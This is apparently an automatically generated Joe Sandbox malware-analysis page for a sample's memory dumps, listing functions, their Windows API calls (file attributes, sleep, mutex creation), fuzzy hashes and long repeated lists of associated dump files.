Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 12fcd3ea8ab51ebed27ea0e011239efb52ad3e5c8d52faba78162639e4c8fb56
Instruction ID: abc79cf6747390928bd8fcd2e1780efd09fa3ee95c0fbaddd3e507b072441e5f
Opcode Fuzzy Hash: 12fcd3ea8ab51ebed27ea0e011239efb52ad3e5c8d52faba78162639e4c8fb56
Instruction Fuzzy Hash: 6F316AB17002089BEB0CDBB8DDC8B7DBB67BB85310F204618E118973D5D77A49808753

Function 005FA2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA2E6
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 34b4d81b1f390c78b70f40d255f55a7bb0583ea958bfd10ed533d71cad846cc2
Instruction ID: 9940f889337503f80101a2ae94440edfed319f17009e821077f5f0e1599df2c2
Opcode Fuzzy Hash: 34b4d81b1f390c78b70f40d255f55a7bb0583ea958bfd10ed533d71cad846cc2
Instruction Fuzzy Hash: C43168B17542089BEB0CDB78DD8877DBB76BF91310F208A18E1189B3D5C77A99808753

Function 005FA418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA41B
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 190b7cfc36ac4bd612cfc9ea8ea661ea027a930422b0bc3779a68a74a5beb36f
Instruction ID: fbe606bb60dace4014ac375013cfced979a247fe6f6e7f79a1a5f19e8e98e187
Opcode Fuzzy Hash: 190b7cfc36ac4bd612cfc9ea8ea661ea027a930422b0bc3779a68a74a5beb36f
Instruction Fuzzy Hash: CC3139717506089BEB08EBB8D98DB7DBB66FFD1310F204218E1189B3D6D7B949808767

Function 005FA54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA550
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 9fbfe743a65117ce881f61d1ad42cf824b91939b4c5f20788fe28e3e3c05d4b0
Instruction ID: 62346bfafd86b2445e4051228d985a9ba91a16694dc2997d38010d99033c99ee
Opcode Fuzzy Hash: 9fbfe743a65117ce881f61d1ad42cf824b91939b4c5f20788fe28e3e3c05d4b0
Instruction Fuzzy Hash: D43129717006088BEB08DB78DD8977DBB62BBC5314F248618E5189B3D6C77989808717

Function 005FA682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA685
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 578142343e8b4c0d3610ee2169f30c7c362c82b9ca3e0f3e539d5a76dd4416f8
Instruction ID: 2f3ba2a76a0510ea83a8bbd22c25364e6c262ee3cae9f205f395dea199cc3513
Opcode Fuzzy Hash: 578142343e8b4c0d3610ee2169f30c7c362c82b9ca3e0f3e539d5a76dd4416f8
Instruction Fuzzy Hash: DC3128B17112088BEB08EB78DD89B7DBB72EBC5310F248618E518DB3D6C77949808757

Function 005FA7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA7BA
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: c58109edbf28dc0edf9975842a865975344e881f5e317d8ec9e975204c26f6bf
Instruction ID: 3d8b23f6ef402225e2f2b3193a5d45c762caea9471289e59023fd9785753f7d6
Opcode Fuzzy Hash: c58109edbf28dc0edf9975842a865975344e881f5e317d8ec9e975204c26f6bf
Instruction Fuzzy Hash: 633127B17012088BEB08DB78CD89B7DBB62EB85310F248618E518973D5D77949818753

Function 005FA960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

